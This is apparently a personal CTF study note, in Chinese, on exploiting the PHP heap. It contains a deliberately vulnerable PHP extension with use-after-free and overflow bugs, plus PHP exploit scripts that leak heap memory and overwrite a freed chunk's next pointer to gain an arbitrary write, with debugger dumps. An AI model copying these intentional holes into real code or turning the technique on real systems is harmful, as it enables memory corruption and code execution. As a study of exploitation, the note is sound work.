對不起直接把自己的筆記複製貼上,小忙
我是自己寫了個 zendstring 操作相關的 so 檔案做 init 和 free 這些操作(init, free 和 heap overflow)
/* whaleheap extension for PHP */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#include "php_whaleheap.h"
#include "whaleheap_arginfo.h"
#define MAX_STORAGE 10
static zend_string *whale_storage[MAX_STORAGE];
/* {{{ whale_create(int index, string data) */
PHP_FUNCTION(whale_create)
{
zend_long idx;
char *data;
size_t data_len;
ZEND_PARSE_PARAMETERS_START(2, 2)
Z_PARAM_LONG(idx)
Z_PARAM_STRING(data, data_len)
ZEND_PARSE_PARAMETERS_END();
if (idx < 0 || idx >= MAX_STORAGE) {
php_error_docref(NULL, E_WARNING, "Index out of bounds.");
return;
}
whale_storage[idx] = zend_string_init(data, data_len, 0);
php_printf("[+] Allocated at index %ld, addr: %p, size: %zu\n", idx, whale_storage[idx], data_len);
}
/* {{{ whale_delete(int index) */
PHP_FUNCTION(whale_delete)
{
zend_long idx;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(idx)
ZEND_PARSE_PARAMETERS_END();
if (idx < 0 || idx >= MAX_STORAGE || !whale_storage[idx]) return;
zend_string_release(whale_storage[idx]);
php_printf("[-] Freed index %ld, but pointer remains: %p\n", idx, whale_storage[idx]);
}
/* {{{ whale_edit(int index, string data) */
PHP_FUNCTION(whale_edit)
{
zend_long idx;
char *data;
size_t data_len;
ZEND_PARSE_PARAMETERS_START(2, 2)
Z_PARAM_LONG(idx)
Z_PARAM_STRING(data, data_len)
ZEND_PARSE_PARAMETERS_END();
if (idx < 0 || idx >= MAX_STORAGE || !whale_storage[idx]) return;
memcpy(whale_storage[idx]->val, data, data_len);
php_printf("[*] Edited index %ld with %zu bytes\n", idx, data_len);
}
/* {{{ whale_show(int index) */
PHP_FUNCTION(whale_show)
{
zend_long idx;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(idx)
ZEND_PARSE_PARAMETERS_END();
if (idx < 0 || idx >= MAX_STORAGE || !whale_storage[idx]) {
RETURN_NULL();
}
php_printf("[+] Showing index %ld, addr: %p\n", idx, whale_storage[idx]);
RETURN_STRINGL(ZSTR_VAL(whale_storage[idx]), ZSTR_LEN(whale_storage[idx]));
}
/* {{{ PHP_RINIT_FUNCTION
這個函數必須在 module_entry 之前定義,或是有前向宣告 */
PHP_RINIT_FUNCTION(whaleheap)
{
#if defined(ZTS) && defined(COMPILE_DL_WHALEHEAP)
ZEND_TSRMLS_CACHE_UPDATE();
#endif
/* 初始化 storage 避免髒資料 */
memset(whale_storage, 0, sizeof(whale_storage));
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MINFO_FUNCTION */
PHP_MINFO_FUNCTION(whaleheap)
{
php_info_print_table_start();
php_info_print_table_header(2, "whaleheap support", "enabled");
php_info_print_table_end();
}
/* }}} */
/* {{{ whaleheap_module_entry */
zend_module_entry whaleheap_module_entry = {
STANDARD_MODULE_HEADER,
"whaleheap",
ext_functions,
NULL, /* PHP_MINIT */
NULL, /* PHP_MSHUTDOWN */
PHP_RINIT(whaleheap), /* 這會指向 zm_activate_whaleheap */
NULL, /* PHP_RSHUTDOWN */
PHP_MINFO(whaleheap),
PHP_WHALEHEAP_VERSION,
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_WHALEHEAP
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(whaleheap)
相關的底層 src 可以參考這邊
https://github.com/php/php-src/blob/5fc9d9d9a74522116aa855c33e8de97a3a115c50/Zend/zend_string.h
簡單來說,zendstring 的 alloc (init) 和 free 操作其實就是大家最熟知的那種單純 heap 的感覺
<?php
whale_create(0, "whale120!!!!!!!!");
whale_create(1, "meow1234");
whale_delete(0); //free
whale_create(2, "hacker!!!!!!!!!!!!!!!!!"); //use-after-free
$var0 = whale_show(0);
$var1 = whale_show(1);
echo 'var0:'.$var0."\n";
echo 'var1:'.$var1."\n";
whale_delete(1);
whale_create(2, "hacker!!");
sleep(100);
whale@Wha13Ubuntu2204:~/ctf/php-pwn/whaleheap$ php exp.php
[+] Allocated at index 0, addr: 0x7ffff4c03300, size: 16
[+] Allocated at index 1, addr: 0x7ffff4c016e0, size: 8
[-] Freed index 0, but pointer remains: 0x7ffff4c03300
[+] Allocated at index 2, addr: 0x7ffff4c03300, size: 23
[+] Showing index 0, addr: 0x7ffff4c03300
[+] Showing index 1, addr: 0x7ffff4c016e0
var0:hacker!!!!!!!!!!!!!!!!!
var1:meow1234
[-] Freed index 1, but pointer remains: 0x7ffff4c016e0
^C
whale@Wha13Ubuntu2204:~/ctf/php-pwn/whaleheap$ nano exp.php
whale@Wha13Ubuntu2204:~/ctf/php-pwn/whaleheap$ php exp.php
[+] Allocated at index 0, addr: 0x7ffff4c03300, size: 16
[+] Allocated at index 1, addr: 0x7ffff4c016e0, size: 8
[-] Freed index 0, but pointer remains: 0x7ffff4c03300
[+] Allocated at index 2, addr: 0x7ffff4c572d8, size: 24
[+] Showing index 0, addr: 0x7ffff4c03300
[+] Showing index 1, addr: 0x7ffff4c016e0
var0:whale120!!!!!!!!
var1:meow1234
[-] Freed index 1, but pointer remains: 0x7ffff4c016e0
酷,8 bytes 一個分組ㄏㄏ
value 都存在 +0x18
地址 + 0x00~0x07: 開始是一些 metadata,像是那個 LSB 1 代表多少個 PHP 內部變數引用到它
地址 + 0x08~0x0f: hash 值,跟 PHP 內部 hash table 相關的一些東東,感覺不是特別重要說實話
地址 + 0x10~0x17: 物件(字串)大小
pwndbg> x/10gx 0x7ffff4c01708
0x7ffff4c01708: 0x0000001600000001 0x0000000000000000
0x7ffff4c01718: 0x0000000000000008 0x212172656b636168
0x7ffff4c01728: 0x0000382d46545500 0x00007ffff4c01758
0x7ffff4c01738: 0xddb02947a9f9af49 0x000000000000000c
0x7ffff4c01748: 0x72635f656c616877 0x0000000065746165
地址 + 0x00~0x07: 只有他跟激活狀態不同,它是指向它重新被 alloc 後的下一塊 chunk 地址
地址 + 0x08~0x0f: hash 值,跟 PHP 內部 hash table 相關的一些東東,感覺不是特別重要說實話
地址 + 0x10~0x17: 物件(字串)大小
pwndbg> x/10gx 0x7ffff4c016e0
0x7ffff4c016e0: 0x00007ffff4c01820 0x0000000000000000
0x7ffff4c016f0: 0x0000000000000008 0x6161616161616161
0x7ffff4c01700: 0x0000000065746100 0x0000001600000001
0x7ffff4c01710: 0x0000000000000000 0x0000000000000008
0x7ffff4c01720: 0x212172656b636168 0x0000382d46545500
這時候可以玩哪些東西呢...
在假設有 heap overflow 的情況下
首先是資料洩漏,別忘記我們蓋的東西包括物件長度 a.k.a. 我們可以做越界讀取,而且更有趣的是 heap 段落從物件值到下一段物件的長度中間的內容在激活狀態下我們是永遠可以預測的
<?php
function int2Str($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}
whale_create(0, "whale120!");
whale_create(1, "meow1234");
whale_create(2, "PWNED!!!");
$payload = "whale120".int2Str(0x065740021).int2Str(0x1600000001).int2Str(0x0).int2Str(0x1000);
whale_edit(0, $payload);
$var1 = whale_show(1);
echo 'var1:'.$var1."\n";
whale_delete(1);
whale_create(3, "hehehehe");
sleep(100);
打出 heap leak 了,正好可以 leak 出現在 heap 的地址
whale@Wha13Ubuntu2204:~/ctf/php-pwn/whaleheap$ php exp2.php
[+] Allocated at index 0, addr: 0x7ffff4c01a00, size: 9
[+] Allocated at index 1, addr: 0x7ffff4c01a28, size: 8
[+] Allocated at index 2, addr: 0x7ffff4c019d8, size: 8
[*] Edited index 0 with 40 bytes
[+] Showing index 1, addr: 0x7ffff4c01a28
var1:meow1234UTF-8V
@ w whale120!Vǡ }L meow1234VFLI4( PWNED!!!V ~ whale120V " hehehehe 0 X H p 8 ` ( P x V#> RI3 PHP_CLI_PROCESS_TITLEcaVq % + QT_ACCESSIBILITYgames:/Vr a SSH_AGENT_LAUNCHERthis-is-deprecatedVD [ XDG_SESSION_DESKTOPV́ XDG_SESSION_TYPEV M SYSTEMD_EXEC_PIDVC`- %ΑXDG_CURRENT_DESKTOPVu ]% F GNOME_TERMINAL_SCREENV ȤpO GNOME_SETUP_DISPLAY/usr/bin/lesspipe %s %sV Tfd( XDG_SESSION_CLASSV ac LC_IDENTIFICATION| /usr/bin/lesspipe %sV с" GNOME_TERMINAL_SERVICE/home/whale/ctf/php-pwnV *M & REQUEST_TIME_FLOAT`# whale120!tep # # # $ P$ $ % $ $ % % @% p% % % & 0& `& & & & & ' ' P' ' ' ' ( @( ( p( ( ( `) ) 0) `) ) ) ) * * P*
[-] Freed index 1, but pointer remains: 0x7ffff4c01a28
[+] Allocated at index 3, addr: 0x7ffff4c01a28, size: 8
再來還有一個就是改下 free 後的 chunk 指向的地址,再 malloc 一塊然後就可以往那個地址做寫入,要記得算一下寫入內容開始是從 offset + 0x18
傳統是寫 GOT,不過 PHP Binary 現在好像都有 RELRO qq
我的作法好像更像是 leak stack address 然後寫東西上去排 ROP Chain
<?php
function int2Str($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}
whale_create(0, "whale120!");
whale_create(1, "meow1234");
whale_create(2, "PWNED!!!");
whale_delete(1);
// 0x7ffffffde000 - 0x18 是要寫入ㄉ地址 - 0x18 的 offset
$payload = "whale120".int2Str(0x065740021).int2Str(0x7ffffffde000 - 0x18).int2Str(0x0).int2Str(0x100);
whale_edit(0, $payload);
$var1 = whale_show(1);
echo 'var1:'.$var1."\n";
whale_delete(1);
whale_create(3, "hehehehe");
whale_create(4, "hackmeow");
sleep(100);